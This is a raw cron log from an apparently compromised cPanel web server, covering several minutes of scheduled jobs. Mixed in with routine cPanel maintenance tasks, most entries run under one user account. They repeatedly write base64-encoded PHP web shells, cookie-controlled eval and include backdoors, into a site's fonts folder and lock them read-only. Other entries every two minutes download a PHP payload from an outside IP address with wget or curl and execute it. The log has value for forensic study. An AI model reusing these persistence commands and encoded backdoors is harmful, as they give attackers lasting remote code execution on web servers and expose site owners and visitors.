Sep 12 20:37:01 ip-184-168-122-23 CROND[21795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:38:01 ip-184-168-122-23 CROND[21899]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:38:01 ip-184-168-122-23 CROND[21901]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 20:38:01 ip-184-168-122-23 CROND[21902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:38:01 ip-184-168-122-23 CROND[21903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:38:01 ip-184-168-122-23 CROND[21904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:39:01 ip-184-168-122-23 CROND[22089]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 20:39:01 ip-184-168-122-23 CROND[22092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:39:01 ip-184-168-122-23 CROND[22090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:39:01 ip-184-168-122-23 CROND[22091]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:39:01 ip-184-168-122-23 CROND[22094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:40:01 ip-184-168-122-23 CROND[22216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:40:01 ip-184-168-122-23 CROND[22218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:40:01 ip-184-168-122-23 CROND[22220]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 20:40:01 ip-184-168-122-23 CROND[22225]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 20:40:01 ip-184-168-122-23 CROND[22226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:40:01 ip-184-168-122-23 CROND[22227]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 20:40:01 ip-184-168-122-23 CROND[22232]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:40:01 ip-184-168-122-23 CROND[22231]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 20:41:01 ip-184-168-122-23 CROND[22359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:41:01 ip-184-168-122-23 CROND[22360]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:41:01 ip-184-168-122-23 CROND[22361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:41:01 ip-184-168-122-23 CROND[22362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:42:01 ip-184-168-122-23 CROND[22469]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:42:01 ip-184-168-122-23 CROND[22472]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 20:42:01 ip-184-168-122-23 CROND[22471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:42:01 ip-184-168-122-23 CROND[22473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:42:01 ip-184-168-122-23 CROND[22474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:43:01 ip-184-168-122-23 CROND[22595]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:43:01 ip-184-168-122-23 CROND[22597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:43:01 ip-184-168-122-23 CROND[22599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:43:01 ip-184-168-122-23 CROND[22598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:44:01 ip-184-168-122-23 CROND[22767]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 20:44:01 ip-184-168-122-23 CROND[22769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:44:01 ip-184-168-122-23 CROND[22770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:44:01 ip-184-168-122-23 CROND[22773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:44:01 ip-184-168-122-23 CROND[22775]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:45:01 ip-184-168-122-23 CROND[22865]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 12 20:45:01 ip-184-168-122-23 CROND[22868]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 20:45:01 ip-184-168-122-23 CROND[22869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:45:01 ip-184-168-122-23 CROND[22866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:45:01 ip-184-168-122-23 CROND[22867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:45:01 ip-184-168-122-23 CROND[22873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:45:01 ip-184-168-122-23 CROND[22874]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 20:46:01 ip-184-168-122-23 CROND[22982]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 20:46:02 ip-184-168-122-23 CROND[22984]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 20:46:02 ip-184-168-122-23 CROND[22985]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 20:46:02 ip-184-168-122-23 CROND[22991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:46:02 ip-184-168-122-23 CROND[22990]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:46:02 ip-184-168-122-23 CROND[22989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:46:02 ip-184-168-122-23 CROND[22993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:47:01 ip-184-168-122-23 CROND[23092]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:47:01 ip-184-168-122-23 CROND[23094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:47:01 ip-184-168-122-23 CROND[23093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:47:01 ip-184-168-122-23 CROND[23095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:48:01 ip-184-168-122-23 CROND[23194]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 20:48:01 ip-184-168-122-23 CROND[23195]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:48:01 ip-184-168-122-23 CROND[23197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:48:01 ip-184-168-122-23 CROND[23199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:48:01 ip-184-168-122-23 CROND[23200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:49:01 ip-184-168-122-23 CROND[23374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:49:01 ip-184-168-122-23 CROND[23373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:49:01 ip-184-168-122-23 CROND[23375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
